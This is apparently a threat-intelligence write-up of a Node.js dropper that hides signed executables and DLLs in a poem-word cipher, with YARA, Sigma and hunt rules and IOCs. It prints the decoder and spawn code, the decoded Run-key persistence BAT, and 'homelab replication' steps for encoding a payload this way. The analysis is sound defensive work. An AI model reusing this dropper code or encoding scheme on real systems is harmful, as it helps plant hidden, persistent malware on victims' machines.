70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8letsdiskusscom: 70862e4de4bd — Eleventh confirmed sibling, numbered-suffix poem stego
Executive Summary
Node.js dropper Update_13.js (8.3 MB) encoding four PE payloads and a persistence BAT script inside a 256-word English poem with numbered suffixes (gentle1, hush2, etc.). Decodes at runtime via Array.indexOf → index & 0xFF to reconstruct a signed VS Revo Group EXE plus three signed Microsoft VC++ runtime DLLs, stages them to %ProgramData%\Microsoft Edge Updates Helper DQetZUqpCbsl, adds HKCU\Run persistence via a BAT file, then spawns both the BAT and the EXE. Fully self-contained — no C2, no network. Eleventh confirmed sibling in the [letsdiskusscom](/intel/families/letsdiskusscom.html) cluster; introduces an eleventh distinct msvcp140.dll morph (995,840 B, MSVC 14.27.29016.0, compiled 2020-06-16). ^[file.txt] ^[triage.json]
What It Is
| Attribute | Value |
|---|---|
| Filename | Update_13.js ^[triage.json] |
| SHA-256 | 70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8 ^[triage.json] |
| Size | 8,337,794 bytes ^[file.txt] |
| File type | JavaScript source, ASCII text, with very long lines (63,365), CRLF line terminators ^[file.txt] |
| OpenCTI labels | js, malware-bazaar ^[triage.json] |
| Family | [letsdiskusscom](/intel/families/letsdiskusscom.html) (high confidence, n=11) ^[entities/letsdiskusscom.md] |
How It Works
1. Poem-cipher payload encoding
The script defines a 256-word lookup table (the poem vocabulary, extended with numbered suffixes beyond index 92) and five encoded payload strings: exe, dll1, dll2, dll3, bat. ^[strings.txt: lines 8–13]
Decoding function (writePositionsToFile) splits the word list, maps each payload word to its index via Array.indexOf, masks to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt: line 10]
function writePositionsToFile(listA, listB, outPath) {
const a = listA.split(' ');
const b = listB.split(' ');
const positions = b.map(word => {
const idx = a.indexOf(word);
return idx >= 0 ? idx : 0;
});
const buffer = Buffer.from(positions.map(p => p & 0xFF));
fs.writeFileSync(outPath, buffer);
}
^[strings.txt: lines 10–12]
2. Staging directory and filenames
const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper DQetZUqpCbsl`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "DQetZUqpCbsl.bat");
const dll1Path = path.join(folder, "msvcp140.dll");
const dll2Path = path.join(folder, "vcruntime140.dll");
const dll3Path = path.join(folder, "vcruntime140_1.dll");
^[strings.txt: lines 6, 15–20]
3. Execution chain
safeMakeDir(folder)— recursive mkdir under%ProgramData%^[strings.txt: line 22]- Writes all five decoded files ^[strings.txt: lines 24–28]
- Spawns the BAT with the EXE path as argument, then spawns the EXE directly ^[strings.txt: lines 30–31]
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);
^[strings.txt: lines 30–31]
4. Persistence BAT content
Decoded bat payload (440 bytes):
@echo off
if "%~1"=="" (
echo Usage: %~nx0 "file_path"
pause
exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
This is the same BAT script observed in all ten prior poem-stego siblings, confirming builder-level reuse. ^[manual decode of bat payload]
Decoded Payload Hashes
| File | SHA-256 | Size | Notes |
|---|---|---|---|
| EXE | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
52,400 | RevoSrp.exe, VS Revo Group, PE32+ x64, signed (DigiCert) — invariant across all 11 siblings ^[rabin2-info.txt on decoded exe] |
| DLL1 (msvcp140) | dd6dc081cef3151a7a328594ab033b033f9f74ef571378cb1938d48da0e8cb29 |
995,840 | Eleventh distinct morph; MSVC 14.27.29016.0, compiled 2020-06-16 ^[rabin2-info.txt on decoded dll1] |
| DLL2 (vcruntime140) | ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 |
101,672 | Invariant across all 11 siblings ^[manual hash] |
| DLL3 (vcruntime140_1) | 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 |
44,328 | Invariant across all 11 siblings ^[manual hash] |
| BAT | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
440 | Microsoft Edge Updates Helper HKCU Run persistence — invariant across all 11 siblings ^[manual decode of bat payload] |
Build / RE
- Language: JavaScript (Node.js runtime target) ^[file.txt]
- Obfuscator: None — the technique is custom poem-word-list-steganography, not a commercial packer ^[strings.txt]
- Encoding variant: Numbered-suffix (
gentle1,hush2,that3...fail164). Suffixes start after the first 92 words of the poem, then repeat the full vocabulary with sequential numbers appended. This defeats naive deduplication while preservingindexOfsemantics. ^[strings.txt: line 8] - Packaging: Raw
.jsfile, likely delivered inside an archive or via social-engineering download - Payload reuse: The signed Revo EXE and two vcruntime DLLs are byte-for-byte identical across all 11 siblings. Only
msvcp140.dlland the staging-directory suffix (DQetZUqpCbslhere) vary per build. ^[manual hash comparison against cluster]
Deploy / ATT&CK
| Technique ID | Name | Implementation |
|---|---|---|
| T1059.007 | Command and Scripting Interpreter: JavaScript | Node.js require('fs') + require('child_process') ^[strings.txt] |
| T1027.002 | Obfuscated Files or Information: Software Packing | poem-word-list-steganography — 256-word natural-language lookup table hides PE payloads ^[strings.txt:8] |
| T1036.005 | Masquerading: Match Legitimate Name or Location | Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:6] |
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys | BAT script calls reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f ^[manual decode of bat payload] |
| T1543.003 | Create or Modify System Process | child_process.spawn(..., { shell: true }) to launch staged EXE ^[strings.txt:30–31] |
C2 Infrastructure
None observed. The carrier is fully self-contained. All payloads are poem-encoded and embedded; no HTTP, DNS, socket, or IP references exist in the JS. If the Revo EXE phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]
Interesting Tidbits
- Eleventh distinct
msvcp140.dllmorph. The operator has now cycled through eleven different builds of the same DLL (sizes 889K–1,175K, timestamps spanning 2016–2025). This is not random — each build is a legitimate Microsoft VC++ runtime redistributable, suggesting the operator is harvesting them from different software installers or Windows images rather than building custom DLLs. ^[manual hash comparison against cluster] - Builder template oscillation. Sibling 10 (
ae2e9acd,Update_3.js) reintroduced numbered-suffix encoding after three plain-poem siblings (5126076d,ddcb25ee,2274d74f). This sample (Update_13.js) continues the numbered-suffix template, confirming it is an active parallel pipeline, not a one-off. ^[entities/letsdiskusscom.md] - Filename numbering. The carrier name
Update_13.jssuggests an internal build counter or campaign versioning scheme (prior poem-stego siblings usedUpdate_3.js). - Zero anti-analysis in the carrier. No VM checks, no debugger detection, no timing gates. The threat model assumes the victim will execute the JS without inspection — social engineering, not technical evasion, is the primary defense. ^[file.txt]
- BAT argument validation. The persistence BAT includes a benign-looking
Usage: %~nx0 "file_path"help message andif not existcheck. If a sandbox detonates the BAT without arguments, it exits cleanly rather than writing the Run key — a minor anti-sandbox touch. ^[manual decode of bat payload]
How To Mess With It (Homelab Replication)
- Encode a PE with the poem cipher:
words = "gentle hush that ... fail164".split() # 256 words with open('payload.exe', 'rb') as f: data = f.read() encoded = ' '.join(words[b] for b in data) - Wrap in Node.js carrier using the
writePositionsToFilepattern above. - Run:
node carrier.js→ check%ProgramData%for the staged files. - Verify: Compare SHA-256 of decoded EXE to
8b94af60...— should match the cluster invariant.
Deployable Signatures
YARA rule
rule LetsDiskussCom_PoemStego_JS
{
meta:
description = "Node.js dropper using 256-word poem lookup-table steganography (letsdiskusscom cluster)"
author = "PacketPursuit"
date = "2026-08-22"
hash = "70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8"
strings:
$a1 = "const wlist = \"" ascii
$a2 = "writePositionsToFile" ascii
$a3 = "Microsoft Edge Updates Helper" ascii
$a4 = "process.env.PROGRAMDATA" ascii
$b1 = "gentle hush that wraps the midnight air" ascii
$b2 = "DQetZUqpCbsl" ascii
condition:
filesize > 1MB and
#a1 >= 1 and $a2 and $a3 and $a4 and
(#b1 >= 1 or #b2 >= 1)
}
Sigma rule
title: letsdiskusscom Node.js Poem Stego Dropper
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'node'
- 'Update_'
- '.js'
selection_writes:
- Image|endswith: 'node.exe'
- CommandLine|contains: 'Microsoft Edge Updates Helper'
condition: selection and selection_writes
falsepositives:
- Unknown
level: high
Behavioral hunt query (KQL/SPL-style)
index=sysmon OR index=windows
| where (Image="*node.exe" OR ParentImage="*node.exe")
AND (TargetFilename="*Microsoft Edge Updates Helper*" OR CommandLine="*Microsoft Edge Updates Helper*")
| stats count by Computer, Image, CommandLine, TargetFilename
IOC list
| Type | Value | Context |
|---|---|---|
| SHA-256 (JS carrier) | 70862e4de4bdab9b3b4980b090982baa022cedc03f4d839260bb20bb179eced8 |
Update_13.js |
| SHA-256 (EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
RevoSrp.exe — invariant across cluster |
| SHA-256 (msvcp140) | dd6dc081cef3151a7a328594ab033b033f9f74ef571378cb1938d48da0e8cb29 |
Eleventh distinct morph |
| SHA-256 (vcruntime140) | ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 |
Invariant across cluster |
| SHA-256 (vcruntime140_1) | 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 |
Invariant across cluster |
| SHA-256 (BAT) | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
Invariant across cluster |
| Registry key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper |
BAT persistence |
| Directory | %ProgramData%\Microsoft Edge Updates Helper * |
Staging location |
| File name pattern | Update_*.js |
Carrier naming convention |
Behavioral fingerprint
This malware is a Node.js script that: (1) creates a directory under %ProgramData% with a name matching Microsoft Edge Updates Helper <random suffix>; (2) writes five files to that directory — one EXE, three DLLs (msvcp140.dll, vcruntime140.dll, vcruntime140_1.dll), and a .bat file; (3) launches the .bat file with the EXE path as an argument, then immediately launches the EXE directly via spawn(..., { shell: true }). The BAT adds the EXE to HKCU\Run under the value name Microsoft Edge Updates Helper. No network connections are made by the carrier. The EXE is a signed VS Revo Group component (RevoSrp.exe).
Detection Signatures
- capa: Not applicable — JS source is not a supported binary class. ^[capa.txt]
- YARA: Custom rule above targets the poem vocabulary,
writePositionsToFile, andMicrosoft Edge Updates Helperstaging directory. - Behavioral: Monitor
node.exewriting to%ProgramData%and spawning child processes from that directory.
References
- letsdiskusscom — Entity page for the cluster (n=11)
- poem-word-list-steganography — Technique page for the 256-word poem encoding
- natural-language-payload-encoding — Concept page for prose-based payload hiding
- registry-run-persistence — Procedure page for the BAT-based Run key technique
/intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html— First poem-stego sibling/intel/analyses/ae2e9acd01f8461549455df96fdfef3a28e8846839e596d8ea15c2ea8e4198ac.html— Tenth sibling (numbered-suffix template)
Provenance
file.txt— File type identification (file utility)triage.json— Triage metadata (hashes, labels, size)strings.txt— Full script text with line numbersdynamic-analysis.md— CAPE skipped (JS source, not a supported binary class)capa.txt— Capability engine rejected input (unsupported format)exiftool.json— MIME typetext/plain, 60 lines, 1,195,140 wordsfloss.txt— Not applicable (JS source, not a PE)ssdeep.txt,tlsh.txt— Hash similarity data- Manual decode of poem-cipher payloads performed via Python script against the JS source on 2026-08-22.
rabin2 -Irun against decodedmsvcp140.dllon 2026-08-22 (MSVC 14.27.29016.0, compiled 2020-06-16).